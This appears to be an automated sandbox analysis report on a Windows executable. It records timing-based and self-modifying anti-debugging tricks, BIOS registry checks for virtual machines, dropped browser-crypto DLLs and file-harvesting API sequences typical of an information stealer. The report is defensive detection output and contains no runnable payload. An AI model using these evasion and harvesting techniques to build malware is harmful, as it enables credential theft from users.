Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78DB4 second address: B78DD1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1768C9AD2Ch 0x00000008 push esi 0x00000009 jg 00007F1768C9AD26h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78DD1 second address: B78DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78DD7 second address: B78E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F1768C9AD36h 0x0000000b popad 0x0000000c push edi 0x0000000d jmp 00007F1768C9AD2Ah 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78E00 second address: B78E05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80796 second address: B8079A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8079A second address: B807A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F176910EAB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B807A8 second address: B807AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F5EA second address: B7F5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F75F second address: B7F781 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1768C9AD26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1768C9AD38h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B804B1 second address: B804B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B804B7 second address: B804D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F1768C9AD33h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B804D5 second address: B804D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8475C second address: B84760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BC8E second address: B8BC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F176910EAB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BC98 second address: B8BCB8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1768C9AD34h 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BCB8 second address: B8BCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92A61 second address: B92A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F1768C9AD34h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1768C9AD2Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F05A second address: B8F067 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F176910EAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F067 second address: B8F06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9F9E2 second address: B9F9F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007F176910EAB6h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9F9F3 second address: B9FA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F1768C9AD33h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F20E second address: A8F216 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F216 second address: A8F21C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F21C second address: A8F220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F220 second address: A8F22F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1768C9AD26h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F22F second address: A8F235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9F87B second address: B9F881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2345 second address: BA235A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 jbe 00007F176910EABEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA235A second address: BA235F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA24B6 second address: BA24BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5B51 second address: BA5B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F1768C9AD26h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5B62 second address: BA5B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4A02 second address: BB4A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1768C9AD26h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4A0D second address: BB4A12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4A12 second address: BB4A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3AD5 second address: BB3ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3ADD second address: BB3AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3E25 second address: BB3E2F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F176910EAB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3E2F second address: BB3E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1768C9AD2Bh 0x0000000c jg 00007F1768C9AD26h 0x00000012 jmp 00007F1768C9AD2Bh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3E53 second address: BB3E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F176910EABEh 0x00000008 jnc 00007F176910EAB6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB754D second address: BB7557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1768C9AD26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB75EE second address: BB764D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007F176910EAB6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D31E4h] 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F176910EAB8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 cmc 0x00000032 call 00007F176910EAB9h 0x00000037 jmp 00007F176910EAC3h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F176910EABAh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB764D second address: BB76A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jno 00007F1768C9AD30h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnc 00007F1768C9AD3Fh 0x0000001c jmp 00007F1768C9AD39h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push ecx 0x00000028 pushad 0x00000029 popad 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB78E9 second address: BB78EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB78EF second address: BB78F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB78F4 second address: BB78FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB78FA second address: BB7908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7908 second address: BB7922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176910EAC5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8C79 second address: BB8C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1768C9AD26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8C85 second address: BB8CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F176910EAC2h 0x0000000e jmp 00007F176910EAC3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA939 second address: BBA93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA93D second address: BBA943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA943 second address: BBA96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F1768C9AD26h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F1768C9AD35h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 push ecx 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC3A1 second address: BBC3A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC3A5 second address: BBC3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1768C9AD26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC3B4 second address: BBC3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 js 00007F176910EAB6h 0x0000000c jno 00007F176910EAB6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007F176910EAB6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC3CF second address: BBC41F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD2Fh 0x00000007 jmp 00007F1768C9AD37h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F1768C9AD28h 0x0000001b push edi 0x0000001c pop edi 0x0000001d push ebx 0x0000001e jmp 00007F1768C9AD35h 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC41F second address: BBC425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202F6 second address: 5220358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1768C9AD38h 0x00000009 and al, FFFFFF88h 0x0000000c jmp 00007F1768C9AD2Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F1768C9AD38h 0x00000018 adc eax, 35E644E8h 0x0000001e jmp 00007F1768C9AD2Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov esi, 6E7DE271h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220358 second address: 522035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522035C second address: 52203CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F1768C9AD2Ch 0x0000000c add ax, 5748h 0x00000011 jmp 00007F1768C9AD2Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a call 00007F1768C9AD2Fh 0x0000001f mov ecx, 5EF5B5AFh 0x00000024 pop esi 0x00000025 mov si, dx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F1768C9AD2Dh 0x00000031 jmp 00007F1768C9AD2Bh 0x00000036 popfd 0x00000037 movzx esi, bx 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F1768C9AD2Eh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522041B second address: 522041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522041F second address: 5220439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220439 second address: 522043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522043F second address: 52204AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov bl, al 0x0000000f movsx edi, ax 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 pushad 0x00000016 mov di, 65D2h 0x0000001a call 00007F1768C9AD33h 0x0000001f pop esi 0x00000020 popad 0x00000021 pushfd 0x00000022 jmp 00007F1768C9AD39h 0x00000027 or al, 00000056h 0x0000002a jmp 00007F1768C9AD31h 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push ecx 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52204AC second address: 52204BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dh, ah 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220C94 second address: 5220C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220C9A second address: 5220CC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F176910EAC0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220CC2 second address: 5220CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1768C9AD30h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 921990 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ACA53A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC8FFB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AF3599 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B5793A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006D4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_006CDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_006CE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_006CBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006C16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_006D3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006CF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006D38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_006D4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_006CED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006CDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006C1160 GetSystemInfo,ExitProcess,

0_2_006C1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
